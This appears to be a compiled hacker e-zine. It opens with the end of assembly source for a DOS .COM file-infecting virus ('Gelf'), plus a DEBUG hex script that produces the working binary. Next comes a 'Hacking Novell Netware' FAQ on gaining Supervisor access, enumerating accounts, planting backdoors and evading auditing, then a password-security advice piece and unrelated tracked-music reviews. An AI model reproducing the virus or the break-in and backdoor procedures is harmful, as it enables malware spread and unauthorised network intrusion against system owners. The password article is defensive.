                lea     dx, [bp + virusend + 1Eh]
                int     21h
                jc      RestoreAttribs

                xchg    ax, bx

                mov     ah, 3Fh
                mov     cx, 0003h
                lea     dx, [bp + buffer]
                int     21h
                jc      RestoreAttribs
                
                cmp     byte ptr [bp + buffer], 0E9h
                jz      RestoreAttribs

                mov     ax, 4202h
                mov     cx, 0000h
                mov     dx, 0000h
                int     21h
                jc      RestoreAttribs

                sub     ax, 03h
                mov     word ptr [bp + jumpbytes + 1], ax

Random:         mov     ah, 2Ch
                int     21h
                add     dl, dh
                cmp     bx, 00h
                je      Random
                mov     word ptr [bp + EncryptionVal], bx
                call    WriteCode

                mov     ax, 4200h
                mov     cx, 0000h
                mov     dx, 0000h
                int     21h
                jc      RestoreAttribs

                mov     ah, 40h
                mov     cx, 0003h
                lea     dx, [bp + jumpbytes]
                int     21h
                
RestoreAttribs: mov     ax, 4301h
                mov     cx, word ptr [bp + VirusEnd + 15h]
                lea     dx, [bp + VirusEnd + 1Eh]
                int     21h

                mov     ax, 5701h
                mov     cx, word ptr [bp + VirusEnd + 16h]
                mov     dx, word ptr [bp + VirusEnd + 18h]
                int     21h
                
Close:          mov     ah, 3Eh
                int     21h

FindMore:       mov     ah, 4Fh
                jmp     findnext

RestoreDTA:     mov     ah, 1Ah
                mov     dx, 0080h
                int     21h

                mov     ax, 0100h
                push    ax
                ret

DoParent:       mov     ah, 3Bh
                lea     dx, Dot_Dot
                int     21h
                jc      RestoreDir
                jmp     FindFirst

RestoreDir:     mov     ah, 3Bh
                lea     dx, Slash
                int     21h
                jmp     RestoreDTA

FileMask        db      '*.com', 00h
Slash           db      '\'
CurrentDir      db      64 dup (0)
Dot_Dot         db      '..', 00h
Buffer          db      0CDh, 20h, 00h
JumpBytes       db      0E9h, 00h, 00h
VirusInfo       db      '[Gelf] Virus written by EXE-Gency!



VirusEnd:
Prog            ends
                end     main

������������������������������������������������������������������������������

If you don't have TASM/TLINK, just copy and past the debug script below to a
new text file and then type:
debug < filename
and a file called gelf.com will appear. This is the virus so be careful.

N GELF.COM
E 0100 E9 00 00 E8 00 00 5D 81 ED 06 01 B4 2A CD 21 81 
E 0110 FA 01 01 75 0D B4 09 BA 82 02 CD 21 B4 01 CD 21 
E 0120 CD 19 E8 17 00 EB 28 90 00 00 E8 0F 00 B4 40 B9 
E 0130 A2 01 8D 96 03 01 CD 21 E8 01 00 C3 3E 8B 9E 28 
E 0140 01 8D B6 4F 01 B9 71 00 31 1C 46 46 E2 FA C3 8D 
E 0150 B6 7C 02 BF 00 01 A4 A5 B4 1A 8D 96 A5 02 CD 21 
E 0160 B4 47 B2 00 BE 39 02 CD 21 B4 4E 8D 96 32 02 B9 
E 0170 00 00 CD 21 73 03 E9 A4 00 B8 01 43 B9 00 00 8D 
E 0180 96 C3 02 CD 21 73 03 E9 82 00 B8 02 3D 8D 96 C3 
E 0190 02 CD 21 72 56 93 B4 3F B9 03 00 8D 96 7C 02 CD 
E 01A0 21 72 48 3E 80 BE 7C 02 E9 74 40 B8 02 42 B9 00 
E 01B0 00 BA 00 00 CD 21 72 33 2D 03 00 3E 89 86 80 02 
E 01C0 B4 2C CD 21 02 D6 83 FB 00 74 F5 3E 89 9E 28 01 
E 01D0 E8 57 FF B8 00 42 B9 00 00 BA 00 00 CD 21 72 0B 
E 01E0 B4 40 B9 03 00 8D 96 7F 02 CD 21 B8 01 43 3E 8B 
E 01F0 8E BA 02 8D 96 C3 02 CD 21 B8 01 57 3E 8B 8E BB 
E 0200 02 3E 8B 96 BD 02 CD 21 B4 3E CD 21 B4 4F E9 61 
E 0210 FF B4 1A BA 80 00 CD 21 B8 00 01 50 C3 B4 3B BA 
E 0220 79 02 CD 21 72 03 E9 40 FF B4 3B BA 38 02 CD 21 
E 0230 EB DF 2A 2E 63 6F 6D 00 5C 00 00 00 00 00 00 00 
E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0270 00 00 00 00 00 00 00 00 00 2E 2E 00 CD 20 00 E9 
E 0280 00 00 5B 47 65 6C 66 5D 20 56 69 72 75 73 20 77 
E 0290 72 69 74 74 65 6E 20 62 79 20 45 58 45 2D 47 65 
E 02A0 6E 63 79 21 24 
RCX
01A5
W
Q
   _____  _____   ___  ___ __ __
  /  |  \|  _  \  \  \/  /|  |  |
 /       \   __/   \    / |  |  |
 \       /  |       \  /  |  |  |
  \_____/|__|        \/   |__|__|

PRESENTS:
Hacking Novell Netware
By Husoft

Section 00



General Info



  00-1. What is this "FAQ" for?

  00-2. What is the origin of this FAQ and how do I add to it?

U 00-3. Is this FAQ available by anonymous FTP or WWW?



---------------------------------------------------------------------------



Section 01



Access to Accounts



U 01-1. What are common accounts and passwords in Novell Netware?

U 01-2. How can I figure out valid account names on Novell Netware?

  01-3. What is the "secret" method to gain Supervisor access Novell used to 

  teach in CNE classes?

  01-4. What is the cheesy way to get Supervisor access?

  01-5. How do I leave a backdoor?

N 01-6. I don't have SETPWD.NLM or a disk editor. How can I get Supe access?



---------------------------------------------------------------------------



Section 02



Passwords



  02-1. How do I access the password file in Novell Netware?

  02-2. How do I crack Novell Netware passwords?

N 02-3. What is a "brute force" password cracker?

N 02-4. What is a "dictionary" password cracker?

  02-5. How do I use SETPWD.NLM? 

  02-6. What's the "debug" way to disable passwords?

N 02-7. Exactly how do passwords get encrypted?



---------------------------------------------------------------------------



Section 03



Accounting and Account Security



  03-1. What is Accounting?

  03-2. How do I defeat Accounting?

  03-3. What is Intruder Detection?

N 03-4. How do I check for Intruder Detection?

U 03-5. What are station/time restrictions?

  03-6. How do I spoof my node or IP address?



---------------------------------------------------------------------------



Section 04



The Console



  04-1. How do I defeat console logging?

  04-2. Can I set the RCONSOLE password to work for just Supervisor?

N 04-3. How can I get around a locked MONITOR?



---------------------------------------------------------------------------



Section 05



File and Directory Access



  05-1. How can I see hidden files and directories?

  05-2. How do I defeat the execute-only flag?

  05-3. How can I hide my presence after altering files?

  05-4. What is a Netware-aware trojan?

  05-5. What are Trustee Directory Assignments?

  05-6. Are there any default Trustee Assignments that can be exploited?

  05-7. What are some general ways to exploit Trustee Rights?

  05-8. Can access to .NCF files help me?



---------------------------------------------------------------------------



Section 06



Fun with Netware 4.1



  06-1. What is interesting about Netware 4.x's licensing?

N 06-2. How can I tell if something is being Audited?

N 06-3. Where are the Login Scripts stored and can I edit them?

N 06-4. What is the rumored "backdoor" in NDS?

N 06-5. How can I remove NDS?

N 06-6. How can I remove Auditing if I lost the Audit password?

N 06-7. Does 4.x store the LOGIN password to a temporary file?

N 06-8. Everyone can make themselves equivalent to anyone including Admin. 

	How?

N 06-9. Can I reset an NDS password with just limited rights?

N 06-10. What is OS2NT.NLM?

N 06-11. Do you have to be Admin equivalent to reset a password?



---------------------------------------------------------------------------



Section 07



Miscellaneous Info on Netware



  07-1. Why can't I get through the 3.x server to another network via TCP/IP?

  07-2. How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?

  07-3. How can I login without running the System Login Script?

  07-4. How do I remotely reboot a Netware 3.x file server?

  07-5. How can I abend a Netware server? And why?

  07-6. What is Netware NFS and is it secure?

  07-7. Can sniffing packets help me break in?

N 07-8. What else can sniffing get me?

  07-9. How does password encryption work?

N 07-10. Are there products to help improve Netware's security?

  07-11. What is Packet Signature and how do I get around it?

N 07-12. Do any Netware utilities have holes like Unix utilities?



---------------------------------------------------------------------------



Section 08



Resources



U 08-1. What are some Netware FTP locations?

  08-2. Can I get files without FTP?

U 08-3. What are some Netware WWW locations?

  08-4. What are some Netware USENET groups?

  08-5. What are some Netware mailing lists?

  08-6. Where are some other Netware FAQs?

U 08-7. Where can I get the files mentioned in this FAQ?

  08-8. What are some good books for Netware?



---------------------------------------------------------------------------



Section 09



Netware APIs



  09-1. Where can I get the Netware APIs?

U 09-2. Are there alternatives to Netware's APIs?



---------------------------------------------------------------------------



Section 10



For Administrators Only



U 10-1. How do I secure my server?

  10-2. I'm an idiot. Exactly how do hackers get in?

N 10-3. I have xxx setup and xxx version running. Am I secure?



---------------------------------------------------------------------------

---------------------------------------------------------------------------



Section 00



General Info



---------------------------------------------------------------------------



00-1. What is this "FAQ" for?



This FAQ contains information about hacking Novell Netware. It is intented to

show what and how regarding hacking on Netware, and by illustrating this in

explicit detail show how sys admins can improve security and prevent break-ins. 

Most of the information in this FAQ was compiled and collected from various 

sources freely available on the Internet. In fact, most of the information here 

is OLD info for serious Netware hackers. Some of the info was collected from 

these serious Netware hackers, and still more was collected from "tiger team" 

security sweeps that I have been involved in.



You will also find hints and generally good ideas for improving and/or expanding 

an existing system. This FAQ is a good reference for sys admins as well as

hackers. 



---------------------------------------------------------------------------



00-2. What is the origin of this FAQ and how do I add to it?



Send comments about info in this FAQ to thegnome@fastlane.net. Simple flames

about typos, the "that's not right" one liners will be ignored. If you wish to

contribute corrections please include your research and source of facts. Also

if you wish to add your information, I will include it if I can include your

email address, unless I can verify the info independently. This way if someone

has questions, they can bug you, not me.



---------------------------------------------------------------------------



00-3. Is this FAQ available by anonymous FTP or WWW?



Look for it in the following locations:



jumper.mcc.ac.uk    /pub/security/netware     faq.zip

ftp.fastlane.net    /pub/nomad/nw             faq.zip

ftp.best.com        /pub/almcepud/hacks       faq.zip



ftp://infonexus.com/pub/Philes/FAQS/netwareHack.faq.txt.gz

http://resudox.net/bio/mainpage.html in the Netware section.



Entire FAQ Online, and the reason Al has fits with his ISP ;-):



http://www.interlog.com/~apayne/nwhack.html



---------------------------------------------------------------------------

---------------------------------------------------------------------------



Section 01



Access to Accounts



---------------------------------------------------------------------------



01-1. What are common accounts and passwords in Novell Netware?



Out of the box Novell Netware has the following default accounts -

SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as well. All

of these have no password to start with. Virtually every installer quickly

gives SUPERVISOR and ADMIN a password. However, many locations will create 

special purpose accounts that have easy-to-guess names, some with no

passwords. Here are a few and their typical purposes:



	Account         Purpose

	----------      ------------------------------------------------------

	PRINT           Attaching to a second server for printing

	LASER           Attaching to a second server for printing

	HPLASER         Attaching to a second server for printing

	PRINTER         Attaching to a second server for printing

	LASERWRITER     Attaching to a second server for printing

	POST            Attaching to a second server for email

	MAIL            Attaching to a second server for email

	GATEWAY         Attaching a gateway machine to the server

	GATE            Attaching a gateway machine to the server

	ROUTER          Attaching an email router to the server

	BACKUP          May have password/station restrictions (see below), used

			for backing up the server to a tape unit attached to a

			workstation. For complete backups, Supervisor equivalence

			is required.

	WANGTEK         See BACKUP

	FAX             Attaching a dedicated fax modem unit to the network

	FAXUSER         Attaching a dedicated fax modem unit to the network

	FAXWORKS        Attaching a dedicated fax modem unit to the network

	TEST            A test user account for temp use

	ARCHIVIST       Palidrome default account for backup

	CHEY_ARCHSVR    An account for Arcserve to login to the server from    

			from the console for tape backup. Version 5.01g's

			password was WONDERLAND. Delete the Station

			Restrictions and use SUPER.EXE to toggle this 

			account and you have an excellent backdoor.

	WINDOWS_PASSTHRU Although not required, per the Microsoft Win95

			Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you

			need this for resource sharing without a password.



This should give you an idea of accounts to try if you have access to a

machine that attaches to the server. A way to "hide" yourself is to give

GUEST or USER_TEMPLATE a password. Occassionally admins will check up on

GUEST, but most forget about USER_TEMPLATE. In fact, _I_ forgot about

USER_TEMPLATE until itsme reminded me.



---------------------------------------------------------------------------



01-2. How can I figure out valid account names on Novell Netware?



Any limited account should have enough access to allow you to run SYSCON,

located in the SYS:PUBLIC directory. If you get in, type SYSCON and enter.

Now go to User Information and you will see a list of all defined accounts.

You will not get much info with a limited account, but you can get the

account and the user's full name.



If your in with any valid account, you can run USERLST.EXE and get a list

of all valid account names on the server.



If you don't have access (maybe the sys admin deleted the GUEST account,

a fairly common practice), you can't just try any account name at the LOGIN

prompt. It will ask you for a password whether the account name is valid or

not, and if it is valid and you guees the wrong password, you could be

letting the world know what you're up to if Intruder Detection is on. But

there is a way to determine if an account is valid.



From a DOS prompt use a local copy (on your handy floppy you carry

everywhere) of MAP.EXE. After you've loaded the Netware TSRs up through

NETX or VLM, Try to map a drive using the server name and volume SYS:.

For example:



	MAP G:=TARGET_SERVER/SYS:APPS <enter>



Since you are not logged in, you will be prompted for a login ID. If it

is a valid ID, you will be prompted for a password. If not, you will

immediately receive an error. Of course, if there is no password for the

ID you use you will be attached and mapped to the server. You can do the

same thing with ATTACH.EXE:



	ATTACH TARGET_SERVER/loginidtotry <enter>



The same thing will happen as the MAP command. If valid, you will be

prompted for a password. If not, you get an error.



Another program to check for valid users and the presence of a password is

CHKNULL.EXE by itsme. This program checks for users and whether they have

a password assigned.



In 4.1 CHKNULL shows you every account with no password and you do not

have to be logged in. For this to work bindery emulation must be on. But 

there is another way to get them in 4.1:



Once you load up the VLMs you may be able to view the entire tree, or at

least all of the tree you could see if logged in. Try this:



      CX /T /A /R



During the installation of 4.1, [Public] has browse access to the entire

tree because [Public] is added to [Root] as a Trustee. The Inherited Rights

Filter flows this stuff down unless explicitly blocked. If you have the VLMs 

loaded and access to CX, you don't even have to log in, and you can get the

name of virtually every account on the server.



---------------------------------------------------------------------------



01-3. What is the "secret" method to gain Supervisor access Novell used to teach 

in CNE classes?



Before I start this section, let me recommend another solution, my God, ANY

other solution is better than this! If you are running 3.x, jump to the end of 

this section.



The secret method is the method of using a DOS-based sector editor to edit the 

entry in the FAT, and reset the bindery to default upon server reboot. This gives 

you Supervisor and Guest with no passwords. The method was taught in case you 

lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts 

created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed.



While you get a variety of answers from Novell about this technique, from it 

doesn't work to it is technically impossible, truth be it it can be  done. Here 

are the steps, as quoted from comp.os.netware.security, with my comments in 

[brackets]:



[start of quote]

A Netware Server is supposed to be a very safe place to keep your files. Only

people with the right password will have access to the data stored there. The

Supervisor (or Admin) user's password is usually the most well kept secret in

the company, since anyone that has that code could simply log to the server and 

do anything he/she wants.



But what happens if this password is lost and there's no user that is 

security-equivalent to the supervisor? [Use SETPWD.NLM, instead of this process,

see section 02-3 - S.N.] What happens if the password system is somehow damaged

and no one can log to the network? According to the manual, there's simply no 

way out. You would have to reinstall the server and try to find your most recent 

backup. 



Fortunately, there is a very interesting way to gain complete access to a Netware

server without knowing the Supervisor's (or Admin's) password. You may imagine

that you would have to learn complex decryption techniques or even type in a long

C program, but that's not the case. The trick is so simple and generic that it

will work the same way for Netware 2.x, 3.x and 4.x. 



The idea is to fool Netware to think that you have just installed the server and

that no security system has been estabilished yet. Just after a Netware 2.x or

3.x server is installed, the Supervisor's password is null and you can log in

with no restriction. Netware 4.x works slightly differently, but it also allows

anyone to log in after the initial installation, since the installer is asked to

enter a password for the Admin user.



But how can you make the server think it has just been installed  without

actually reinstalling the server and losing all data on the disk? Simple. You

just delete the files that contain the security system. In Netware 2.x, all

security information is stored in two files (NET$BIND.SYS and NET$BVAL.SYS).

Netware 3.x stores that information in three files (NET$OBJ.SYS, NET$VAL.SYS and

NET$PROP.SYS). The all new Netware 4.x system stores all login names and 

passwords in five different files (PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS

and UNINSTAL.NDS [This last file may not be there, don't worry - S.N.]).



One last question remains. How can we delete these files if we don't have access

to the network, anyway? The answer is, again, simple. Altough the people from

Novell did a very good job encrypting passwords, they let all directory

information easy to find and change if you can access the server's disk directly,

using common utilities like Norton's Disk Edit. Using this utility as an example,

I'll give a step-by-step procedure to make these files vanish. All you need is a

bootable DOS disk,  Norton Utilities' Emergency Disk containing the DiskEdit

program and some time near the server.



1. Boot the server and go to the DOS prompt. To do this, just let the network

boot normally and then use the DOWN and EXIT commands. This procedure does not

work on old Netware 2.x servers and in some installations where DOS has been 

removed from memory. In those cases, you'll have to use a DOS bootable disk.



2. Run Norton's DiskEdit utility from drive A:



3. Select "Tools" in the main menu and then select "Configuration". At the

configuration window, uncheck the "Read-Only" checkbox. And be very careful with

everything you type after this point.



4. Select "Object" and then "Drive". At the window, select the C: drive and make

sure you check the button "physical drive". After that, you'll be looking at your

physical disk and you be able to see (and change) everything on it.



5. Select "Tools" and then "Find". Here, you'll enter the name of the file you 

are trying to find. Use "NET$BIND" for Netware 2,  "NET$PROP.SYS"  for  Netware 3 and "PARTITIO.NDS" for Netware 4. It is possible that you find these strings in a

place that is not the Netware directory. If the file names are not all near each

other and proportionaly separated by some unreadable codes (at least 32 bytes

between them), then you it's not the place we are looking for. In that case, 

you'll have to keep searching by selecting "Tools" and then "Find again". [In

Netware 3.x, you can change all occurences of the bindery files and it should

still work okay, I've done it before. - S.N.]



6. You found the directory and you are ready to change it. Instead of deleting 

the files, you'll be renaming them. This will avoid problems with the directory

structure (like lost FAT chains). Just type "OLD" over the existing "SYS" or

"NDS" extension. Be extremely careful and don't change anything else.



7. Select "Tools" and then "Find again". Since Netware store the directory

information in two different places, you have to find the other copy and change 

it the same way. This will again prevent directory structure problems.



8. Exit Norton Disk Edit and boot the server again. If you're running Netware 2 

or 3, your server would be already accessible. Just go to any station and log in 

as user Supervisor. No password will be asked. If you're running Netware 4, there

is one last step.



9. Load Netware 4 install utility (just type LOAD INSTALL at the console prompt) 

and select the options to install the Directory Services. You be prompted for the

Admin password while doing this. After that, you may go to any station and log in

as user Admin, using the password that you have selected.



What I did with Norton's Disk Edit could be done with any disk editing utility 

with a "Search" feature. This trick has helped me save many network supervisors 

in the last years. I would just like to remind you that no one should break into

a netware server unless authorized to do it by the company that owns the server. 

But you problably know that already.

[end of quote]



I actually had this typed up but kept changing it, so I stole this quote from

the newsgroup to save me retyping ;-)



Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the bindery and

downs the server. Reboot and you have Supe and Guest, no password.



---------------------------------------------------------------------------



01-4. What is the cheesy way to get Supervisor access?



The cheesy way is the way that will get you in, but it will be obvious to the 

server's admin that the server has been compromised. This technique works for 

3.11.



Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the following 

things. 1) The Supervisor password is changed to SUPER_HACKER, 2) every account 

on the server is made a supe equivalent, and 3) the sys admin is going to know 

very quickly something is wrong. What the admin will do is remove the supe rights 

from all accounts that are not supposed to have it and change the Supervisor 

password back. The only thing you can do is leave a backdoor for yourself (see 

next question).



---------------------------------------------------------------------------



01-5. How do I leave a backdoor?



Once you are in, you want to leave a way back with supe equivalency. You can use 

SUPER.EXE, written for the express purpose of allowing the non-supe user to 

toggle on and off supe equivalency. If you use the cheesy way in (previous 

question), you turn on the toggle before the admin removes your supe 

equivalency. If you gain access to a supe equivalent account, give Guest supe 

equivalency and then login as Guest and toggle it on. Now get back in as the 

original supe account and remove the supe equivalency. Now Guest can toggle on 

supe equivalency whenever it's convenient.



Of course Guest doesn't have to be used, it could be another account, like an

account used for e-mail administration or an e-mail router, a gateway's account, 

you get the idea.



Now SUPER.EXE is not completely clean. Running the Security utility or Bindfix 

will give away that an account has been altered at the bindery level, but the 

only way for an admin to clear the error is to delete and rebuild the account.



Another backdoor is outlined in section 02-2 regarding the replacement LOGIN.EXE 

and PROP.EXE



---------------------------------------------------------------------------



01-6. I don't have SETPWD.NLM or a disk editor. How can I get Supe access?



If you have two volumes or some unallocated disk space you can use this

hack to get Supe. Of course you need physical access but it works. I got

this from a post in comp.os.security.netware



  - Dismount all volumes

  - Rename SYS: to SYSOLD:

  - Rename VOL1: (or what ever) to SYS: or create new SYS: on new disk

  - Reboot server

  - Mount SYS: and SYSOLD:

  - Attach to server as Supervisor (Note: login not available)

  - Rename SYSOLD:SYSTEM\NET$***.SYS to NET$****.OLD

  - Dismount volumes

  - Rename volume back to correct names

  - Reboot server

  - Login as Supervisor, no password due to new bindery

  - Run BINDREST

  - You are currently logged in as Supe, you can create a new user as

    Supe equiv and use this new user to reset Supe's password, whatever.



---------------------------------------------------------------------------

---------------------------------------------------------------------------



Section 02



Passwords



---------------------------------------------------------------------------



02-1. How do I access the password file in Novell Netware?



Contrary to not-so-popular belief, access to the password file in Netware is

not like Unix - the password file isn't in the open. All objects and their

properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS

database in 4.x. An example of an object might be a printer, a group, an

individual's account etc. An example of an object's properties might include

an account's password or full user name, or a group's member list or full

name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden

and System, and these files are located on the SYS: volume in the SYSTEM

subdirectory. Their names are as follows:



	Netware version         File Names

	---------------         ----------

	2.x                     NET$BIND.SYS, NET$BVAL.SYS


   _____  _____   ___  ___ __ __
  /  |  \|  _  \  \  \/  /|  |  |
 /       \   __/   \    / |  |  |
 \       /  |       \  /  |  |  |
  \_____/|__|        \/   |__|__|

PRESENTS:
Password Security: The Core of Protection                                        
By: HuSoft

Virtualy every computer service to which you log in employs a simple password protection scheme. Your account is assigned a unique user name and a password, both of which you must type in order to log in. 
Generally, the system administration staff will allow (and even encourage) you to change your own password; some systems employs automated processes that insist that you make such changes periodically.

One of the simplest ways that intruders compromise password security is by repetitively trying possible passwords against known valid user ID's. This process can be conducted via automated process; the intruder uses a computer program to attempt the break-in. One scheme, sometimes called "attack guessing" tries to determine a real password by seeing if any of a long list of candidate passwords in fact allows entry. Most systems will hang up a connection after a several failed attempts to log in, but they may not detect repeated connections. Moreover, it is relatively common for Unix password files to be available to prying eyes. This is possible because these files are encrypted, so possession of the file does not equate to discovery of passwords. However, once a password file is in the hands of a would-be intruder, special "cracker" software will repetitively encrypt candidate passwords and try them against the encrypted form.

There are some straightfoward rules fo account and password administration, but many users fail to take heed. If you follow these rules, the chances of your account being compromised are greatly reduced. If you fail to follow these rules, you are asking for trouble.

1. Pick a password that does not relate in some obvious way to you. Do not use the name of your spouse, your child, or your pet. Do not use your initials, your telephone number, or your mascot of your alma mater. These pieces of information may be much more publick than you realice.

2. It is best to choose a word that is not a real word in any language. Some "attack guesing" schemes check to see if words out of standard dictionaries happen to match your password. A good approach is to pick the first letter of each word of a sentence that only you would devise.

3. Opt for a longer password over a short one. If your system allows eight character passwords, use all eight characters instead for three or four. Shorter passwords are more easily matched by cracker programs. If your system allows you to  use mixed case letters as well as special characters, this can also make the password harder to crack. (It can also make the password harder to remember).

4. If you write a password down, put the paper copy in a secure place. Some guidelines suggest that you never write down a password, but the practical realty is that humans inevitably will do this.

5. Do not reveal your password to anyone. A new generation of network conartist sometimes employs the scam of masquerading as a security expert trying to catch an intruder, if only you will assist by providing your password. Don't fall for it.

6. Do not use the same password on multiple services. This rule is especially important, and especially often ignored. You cannot trust that all system administrators will protect your password. In particular, a dial-up bulletin board service run by a lone sysop out of his bedroom is not likely to have the same level of security as a major Internet service provider. In the event of a major break-in, your password becomes the key to all the systems you have access to-unless you vary password used on diferent services.

7. If you have any reason to believe a password has been compromised, change it immediately. Change passwords frequently in any event.

8. Most systems will provide you with information as the last time you logged in, as well as the last time someone attempt to log in, but failed. This is usefull information - but the tendency is to let it scroll by unread. If you notice activity that doesn't  correspond to your logins, change your password and contact your system administrator.

If you become an information provider running your own system, there are some special points to consider:

1. Some computer operating systems are delivered with a set of  "stock" initial passwords. Unless you change these passwords - all of them - you are exposed to a very simple attack from someone who has the manuals for the same system.

2. When you are away from the system you administer, be very cautious about logging in over the internet using secure passwords. An unscrupulous local administrator or user could be listening in. Consider isolating your everyday tasks, suck as reading mail, on a user ID that has no special privileges.

3. Many computer systems offer logging facilities that allow you to inspect patterns of use and abuse - for instance repeatedly failed login attempts. Use these tools to keep your eyes out for intruders. Use both the loggin facilities of the native operating system and whatever tools you may install.

4. Most corporate and campus networks have network administrators whose jobs include security. Ask your network administrator to audit your system setup to be sure it is secure. Also ask your network administrator to sign you up for local distrubution of the Computer Emergency Response Team (CERN) mailing list. These reports detail specific weaknesses discovered in various flavors of various operating systems, and they tell system administrators how to work arround these flaws while waiting for vendor responses.

5. If you install public client programs - programs that allow users to avail themselves of services without authentication - make sure the environment opened to these users is secure. Watch for openings in programs like more and telnet that may allow users more privilege than you want to offer to users whose identity is not known. *Your local network administrator should be able to offer advice.

The basic mode of operation of Ethernet and other local area networks that employ shared media implies a certain inherent opportunity for intruders to "sniff" passwords. On large corporate and campus networks, this exposure can be isolated to departments or buidings through the use of routers. In some cases, where security of communication across a campus or wide-area links is essential, network administrators may acquire and install routers with builtin encryption capability. If you work on a campus or corporate network, and you are concerned about this aspect of security, ask your LAN or campus network administrator for detalis as the level of exposure.
   _____  _____   ___  ___ __ __
  /  |  \|  _  \  \  \/  /|  |  |
 /       \   __/   \    / |  |  |
 \       /  |       \  /  |  |  |
  \_____/|__|        \/   |__|__|

PRESENTS:

TRACKED MUSIC REVIEWS
~~~~~~~~~~~~~~~~~~~~~
By: Walrus & CrossFire

This section is running in conjunction with http://walrus.bog.net/. All of the tunes and mixes reviewed by me (Walrus) are available for listening or downloading from my site. Tracks that CrossFire reviews may also be there, but no promises. Where possible, a URL will be supplied. Well that's the theory anyway. A big shout goes out to Emulation who had donated 500Mb of server space on http://www.oldskool-hardcore.i12.com/ to allow this to continue, and to frOsty who is hosting a few of the mixes on http://www.tbp.mb.ca/audio/. Thanks to both of them.

Not all the tracks and mixes that we review are happy hardcore. We review oldskool, techno, drum 'n' bass, trance and more. Yes, even Gabber. Although we tend to stick to hardcore. If you would like either of us to review any tracks or mixes, send mods/mp3s/vqfs/realaudios or whatever your chosen format is to up_reviews@hotmail.com and either me or CrossFire will review it. Please don't send huge files though. For example, sending a 1 hour mix in mp3 format is not appropriate. If you want an address to send records/CDs/tapes to, just drop one of us an email.

This month's reviews:
~~~~~~~~~~~~~~~~~~~~~

Title:          DJ Dodgee - Untitled mixtape 2
Reviewed by:    Walrus
Available from: http://walrus.bog.net
Style:          Happy Hardcore

Tracklist:
Kaos & Darkcyde - Tubular Vibes
BDB feat. Lisa A - I Want You
2 Mental - Generation Love
E-Logic - The Gate
Class of '94 - Lift You One Stage Higher
Robbie Long & Devestate feat. Leroy - Flip Flop Flava
Brisk & Trixxy - Eye Opener (Brisk '99 remix)
Hixxy - Starry Night
Slipmatt & Eruption - Bust The New Jam (Brisk remix)
B'n'H vol.1
Supernova - Go DJ
Bang - Give Me A Reason
Vinylgroover - John Gotti's Revenge
Tayla & Blade - Hamburg
Rapido - Ultraviolet
Bang - Hyperspace

When I reviewed one of Dodgee's mixes in the last issue, I said: "Expect to see more from Dodgee, with a slightly more refined sound". That more refined sound is very apparant on this tape. The mixing is smoother overall. The punches are better, and there's even more of that excellent scratching. As for the tracks, there's an absolutely excellent selection of tracks in there. Not much to keep the cheezers happy though, so if that's your style give it a miss, but overall this tape comes highly reccomended.



Title:          DJ Skippy - Awakening
Reviewed by:    Walrus
Available from: http://walrus.bog.net
Style:          Happy Hardcore

This track by DJ Skippy has not (yet) been scheduled for release, but may appear on a Skippin Trax release sometime in the future. Its a fairly trancey affair which sounds a little like the Braveheart theme. There's nice little synth lines dropped in all over the place intersperced with pianos and the like, and every time I listen to it, I seem to hear something which I didn't notice first time round. This is an absolutely solid tune in my opinion. Deserves to be released as soon as possible.



Title:          DJ Skippy - Skippin Trax 002
Reviewed by:    Walrus
Available from: http://walrus.bog.net
Style:          Happy Hardcore

Skippin Trax 002 is going to have 3 tracks on it, and will probably be released in mid-late November. I have reviewed 2 of the tracks from it here, as the other one hasn't been written/recorded yet.

Side A (Energy 2000) is a happy, bouncey track using a few well known samples ("spread out and scatter" anybody?). Lots of different stuff going on here, but not fragmented. The track manages to be very happy without being cheezy. There's even some nice stompy bassdrum in there to shake the floor with.
Side B (Mystery) starts off with some good breakbeats and basslines and bounces along nicely with a few little vocal samples before bringing in some trancy synths. The track really picks up with a big bassdrum fill and bounces along with the same trancey synths until it picks up the breakbeats again for the outro.
On the basis of the two tracks I have reviewed here (remember there's going to be another one on there too) I advise anybody who likes their happy hardcore to go out and buy this record when it is released.



Title:          DJ Sparkey - Hardcore Crazy
Reviewed by:    Walrus
Available from: http://walrus.bog.net
Style:          Happy Hardcore/Gabber

This is a cool track. At 210bpm and with its hard loud kickdrums at the beginning, its fairly gabber-esque. But at the same time there's an element of happy hardcore in there. Although it does seem to lack something where the piano line is introduced, it quickly picks up, and regains a lot of the harder elements of the track. I haven't really heard anybody mix happycore and gabber together like this before, and it works surprisingly well.
Don't forget to check out Sparkey's show on Inside Beat. Check out www.inside-beat.net for details of tuning in.



Title:          DJ Sparkey - Hardcore Frills
Reviewed by:    Walrus
Available from: http://walrus.bog.net
Style:          Happy Hardcore

This track starts off a bit weak, with a single piano line, but improves as basslines and breakbeats are added to it. For a while it sounds fairly cool. However the track just loses it somewhere along the line, and never really goes anywhere. It ends up as a fairly cheezy afair. Its OK, but Hardcore Crazy is a much better track.



Title:          DJ Smurf - Gabba Dabba Doo - 160 Shits Per Minute (Mixtape)
Reviewed by:    CrossFire
Available from: Email smurf: Glen_Peterson@qsp.co.uk
Style:          Gabber

TrackListing:
Dr Macabre - Ghost Stories (Powerplant)
Omar Santana - Digital Domain (H2OH)
The Horrorist - Flesh Is The Fever (Things To Come)
Boombastic - Leaders Of The New School (Baby Boom)
DJ Promo - Guns & Ammo (ID&T)
DJ Sim - Simbiosis (ID&T)
The Masochist - Cold Cage (ID&T)
Bass D & King Matthew - How Shall I (ID&T)
Rotterdam Terror Corps - Beethoven On XTC (Dark Twins Remix) (Megarave)
Doomaniac - Beat On Da Kick Drum (Mindcrash)
Dr Macabre - Danse Macabre (Megarave)
Members Of Megarave - Maniac (Megarave)
Evil Activities - Darkness Of Noom (Rotterdam)
DJ Mad E Fact - The Hustle (Baby Boom)
Damien Kelly & Attic & Stylz - State Of The Nation (Hollow Point)
Damien Kelly & The Unknown MC - The People Want More (Hollow Point)

